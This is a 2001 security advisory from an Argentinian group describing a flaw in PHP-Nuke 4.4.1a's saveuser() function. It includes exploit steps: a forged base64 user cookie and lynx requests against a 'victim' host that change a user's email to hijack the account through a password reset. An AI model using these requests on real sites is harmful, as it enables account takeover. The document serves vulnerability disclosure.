rdC270201.adv.en

` r 0 t t e n d e v 1 c e C r e w  
r0tten dev1ce Crew  
  
A r g e n t i n i a n S e c u r i t y G r o u p  
Argentinian Security Group  
  
<[( advisory )]>---------------------------------------<[( rdC270201.adv.en  
  
Programa: PHP-NUKE  
Vendor Homepage: http://www.phpnuke.org  
Vendor Contacted: 27/feb/2001  
Vendor Response: ??/??/??  
Vendor Fix: ??/??/??  
Version tested: 4.4.1a (latest version to date)  
Found by: venomous  
English translation: ka0z  
  
- Problem description:  
~~~~~~~~~~~~~~~~~~~~  
  
The checks that are realized in the function saveuser() are not enough to  
block abitrary information being passed to the query of MySQL.  
[!] There are also many other functions that can be exploited the same way  
described in the advisory. This adivisory describes only the function  
saveuser().  
  
- Impact:  
~~~~~~~  
  
It's possible for the attacker to change the e-mail address of one of the  
users and ask for the password to be sent to the e-mail address that the  
attacker have provided.  
Of course this isn't easy since we do not know the UID of each of the  
users, but this this type of information is easily obtained with  
bruteforce checks.  
  
- Exploit:  
~~~~~~~~  
  
powerhouse:~$ /bin/echo -e "0:<user>:2:3:4:5:6:7:8:eee" | uuencode -m f  
begin-base64 644 f  
MDpBbm9ueW1vdXM6MjozOjQ6NTo2Ojc6ODplZWUK [***]  
  
lynx http://victim/user.php?op=saveuser&user=[***]&uid=X&uname=<user>  
  
The variables you can change the value are:  
  
name='',email='', femail='', url='', bio='' , user_avatar='',  
user_icq='', user_occ='', user_from='', user_intrest='', user_sig='',  
user_aim='', user_yim='', user_msnm=''  
  
In other words, if we want to change the e-mail address, we do:  
  
lynx  
http://victim/user.php&op=saveuser&user=[***]&uid=X&uname=<user>&email=  
<email you want>  
  
If you ask for the password to be sent to e-mail, you would be able to  
access the account.  
  
- Code:  
~~~~~  
  
Very simple script to demostrate the vulnerability:  
  
You can get it from http://www.rdcrew.com.ar, code section.  
  
- Fix:  
~~~~  
  
Wait for a patch from the author.  
  
  
- Contact us:  
~~~~~~~~~~~  
  
Advisories, tools, IDS, texts and other stuff can be found at:  
http://www.rdcrew.com.ar  
  
  
[email protected]  
  
- Greets:  
~~~~~~~  
  
people: ka0z, den0, E|Bruj0, storm, ab.  
channels: #flatline at coredumped  
  
[EOF]  
  
  
`